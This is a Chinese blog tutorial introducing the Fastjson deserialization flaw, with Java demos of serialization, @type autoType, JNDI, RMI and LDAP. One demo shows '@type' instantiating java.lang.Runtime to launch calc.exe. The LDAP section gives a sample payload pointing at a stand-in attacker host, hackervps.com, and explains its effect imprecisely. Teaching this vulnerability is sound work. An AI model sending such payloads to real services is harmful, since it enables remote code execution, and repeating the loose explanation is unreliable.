Fastjson反序列化漏洞


title: Fastjson反序列化漏洞
categories:

  • 漏洞复现
    date: 2024-07-08 16:41:38

在这里插入图片描述

1.前言

fastjson是一个有阿里开发的一个开源Java 类库,可以将 Java对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)

2.fastjson怎么用

新建IDEA项目

maven环境搭建在log4j2中已经提到

image-20240708223210289

在pom.xml文件添加依赖信息

依赖信息:Maven Repository: com.alibaba » fastjson » 1.2.50 (mvnrepository.com)

<dependencies>
    <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.50</version>
    </dependency>
</dependencies>

image-20240708223318053

点击刷新文件

简单demo

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {

    public static void main(String[] args) {
        // 将一个 Java 对象序列化为 JSON 字符串
        Person person = new Person("Alice", 18);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);

        // 将一个 JSON 字符串反序列化为 Java 对象
        String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
        Person person2 = JSON.parseObject(jsonString2, Person.class);
        System.out.println(person2.getName() + ", " + person2.getAge());
    }

    // 定义一个简单的 Java 类
    public static class Person {
        private String name;
        private int age;

        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }

        public String getName() {
            return name;
        }

        public int getAge() {
            return age;
        }
    }
}

image-20240708223551273

通过以上代码我们可以看到,我们定义了一个Person类,并设置了两个属性age以及name,以及简单定义了四个方法

我们通过Person person = new Person("Alice", 18);来初始化对象,再通过String jsonString = JSON.toJSONString(person);去把对象转化成json字符串;之后,我们又可以通过Person person2 = JSON.parseObject(jsonString2, Person.class);json字符串转换为java对象

进一步更改demo代码

问题1 Person person2 = JSON.parseObject(jsonString2, Person.class);为什么可以直接使用Person.class来进行映射

在使用fastjson时,我们需要先将JSON字符串和Java对象之间建立映射关系,可以通过类的属性和JSON字段名进行映射。在我们上面的代码中,Java类的属性名和JSON字段名是相同的,因此可以直接使用Person.class来进行映射。

image-20240708230954824

问题2 如果不同我们该怎么办

通过使用注解来指定它们之间的映射关系。在fastjson中,可以使用@JSONField注解来指定Java类的属性和JSON字段之间的映射关系。请看以下demo代码:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.annotation.JSONField;

public class Main {

    public static void main(String[] args) {
        // 将一个 Java 对象序列化为 JSON 字符串
        Person person = new Person("Alice", 18);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);

        // 将一个 JSON 字符串反序列化为 Java 对象
        String jsonString2 = "{\"user_name\":\"Bob\",\"user_age\":20}";
        Person person2 = JSON.parseObject(jsonString2, Person.class);
        System.out.println(person2.getName() + ", " + person2.getAge());
    }

    // 定义一个简单的 Java 类
    public static class Person {
        @JSONField(name = "user_name")
        private String name;
        @JSONField(name = "user_age")
        private int age;

        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public int getAge() {
            return age;
        }

        public void setAge(int age) {
            this.age = age;
        }
    }
}

image-20240708231245018

在定义nameage时,在上面分别加入了一行@JSONField(name = "user_name")@JSONField(name = "user_age"),这样一来,即使我们输入的字符串中写的是user_nameuser_age,它也能被识别解析到。

@type是什么东西?如何反序列化带@type的json字符串?

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。请看以下代码:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        String json = "{\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\"}";
        ParserConfig.getGlobalInstance().addAccept("java.lang");
        Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
        runtime.exec("calc.exe");
    }
}

可以看到直接弹窗:

image-20240708232733254

fastjson1.2.24之后默认禁用AutoType,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");来开启,否则会报错autoType is not support

新的demo

首先是类的定义,例如我们的Person.java

package org.example;

public class Person {
    private String name;
    private int age;

    public Person() {}

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

然后是Main.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        Person user = new Person();
        user.setAge(18);
        user.setName("xiaoming");
        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
    }
}

输出的结果为:

image-20240709211334236

在和前面代码做对比后,可以发现其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。

然后我们就可以通过以下三种方式来反序列化json字符串了:

// 方法一(返回JSONObject对象):
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
JSONObject jsonObject = JSON.parse(s1);
System.out.println(jsonObject);

// 方法二:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s = JSON.toJSONString(user);
Person user1 = JSON.parseObject(s, Person.class);
System.out.println(user1);

// 方法三:
Person user = new Person();
user.setAge(18);
user.setName("xiaoming");
String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
Person user1 = JSON.parseObject(s1,Person.class);
System.out.println(user1);

3. JNDI是什么东西?

JNDIJava平台的一种API,它提供了访问各种命名和目录服务的统一方式。

简单demo:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiExample {
    public static void main(String[] args) {
        try {
            // 创建初始上下文
            Context initialContext = new InitialContext();

            // 查找数据源
            DataSource dataSource = (DataSource) initialContext.lookup("java:comp/env/jdbc/MyDataSource");

            // 使用数据源
            Connection connection = dataSource.getConnection();
            // 执行数据库操作...

            connection.close();
        } catch (NamingException | SQLException e) {
            e.printStackTrace();
        }
    }
}

4.RMI是什么东西?

RMI指的是远程方法调用,是Java平台提供的一种机制,可以实现在不同Java虚拟机之间进行方法调用。

RMIdemo代码,包括一个服务器端和一个客户端。这个demo实现了一个简单的计算器程序,客户端通过RMI调用服务器端的方法进行加、减、乘、除四则运算。

计算器接口

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Calculator extends Remote {
    public int add(int a, int b) throws RemoteException;

    public int subtract(int a, int b) throws RemoteException;

    public int multiply(int a, int b) throws RemoteException;

    public int divide(int a, int b) throws RemoteException;
}

客户端代码

package org.example;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    private Client() {}

    public static void main(String[] args) {
        try {
            // Get the registry
            Registry registry = LocateRegistry.getRegistry("localhost", 1060);

            // Lookup the remote object "Calculator"
            Calculator calc = (Calculator) registry.lookup("Calculator");

            // Call the remote method
            int result = calc.add(5, 7);

            // Print the result
            System.out.println("Result: " + result);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

服务端代码

package org.example;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Server extends UnicastRemoteObject implements Calculator {
    public Server() throws RemoteException {}

    @Override
    public int add(int x, int y) throws RemoteException {
        return x + y;
    }

    @Override
    public int subtract(int a, int b) throws RemoteException {
        return 0;
    }

    @Override
    public int multiply(int a, int b) throws RemoteException {
        return 0;
    }

    @Override
    public int divide(int a, int b) throws RemoteException {
        return 0;
    }

    public static void main(String args[]) {
        try {
            Server obj = new Server();
            LocateRegistry.createRegistry(1060);
            Registry registry = LocateRegistry.getRegistry(1060);
            registry.bind("Calculator", obj);
            System.out.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

先让服务器跑起来

image-20240709214528081

客户端可以直接运行5+7结果

image-20240709214634060

5.LDAP是什么?

轻量级目录访问协议,用于目录服务身份验证和管理。

demo

dc=example, dc=com
|
|-- ou=people
|   |
|   |-- uid=jdoe
|       |
|       |-- cn: John Doe
|       |-- sn: Doe
|       |-- mail: jdoe@example.com
|       |-- uid: jdoe
|       |-- userPassword: <password>
|
|-- ou=groups
    |
    |-- cn=admins
        |
        |-- cn: admins
        |-- memberUid: jdoe
  • dc=example, dc=com:表示域组件 (Domain Component)。
  • ou=peopleou=groups:表示组织单元 (Organizational Unit)。
  • uid=jdoe:表示用户条目。
  • cn=admins:表示组条目。

Fastjson漏洞中,攻击者可以通过构造特定的LDAP查询语句,来执行任意代码或获取敏感信息。例如,以下JSON字符串包含一个恶意构造的LDAP URL

{"@type":"java.net.URL","val":"ldap://hackervps.com/exp"}

Fastjson解析该JSON字符串时,会触发LDAP查询操作,查询hackervps.com上的LDAP服务,并执行名为“exp”的操作。这就是Fastjson漏洞的成因之一。

漏洞学习

相关推荐

  1. shiro序列fastjson序列漏洞原理

    2024-07-10 03:16:01       65 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 03:16:01       49 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 03:16:01       53 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 03:16:01       41 阅读
  4. Python语言-面向对象

    2024-07-10 03:16:01       53 阅读

热门阅读

  1. C#——StringBuilder和string的区别与用法

    2024-07-10 03:16:01       19 阅读
  2. 《面向对象分析与设计》学习笔记1

    2024-07-10 03:16:01       21 阅读
  3. 人工智能与云计算

    2024-07-10 03:16:01       16 阅读
  4. 等保测评——云计算扩展项(云安全风险)

    2024-07-10 03:16:01       18 阅读
  5. iOS 开发者的 Flutter 入门课

    2024-07-10 03:16:01       21 阅读
  6. 认识同源策略

    2024-07-10 03:16:01       17 阅读
  7. LCD EMC 辐射 测试随想

    2024-07-10 03:16:01       16 阅读
  8. C# Halcon目标检测算法

    2024-07-10 03:16:01       21 阅读
  9. 调度的艺术:Eureka在分布式任务调度中的妙用

    2024-07-10 03:16:01       18 阅读
  10. AJAX学习笔记完(学习自用)

    2024-07-10 03:16:01       18 阅读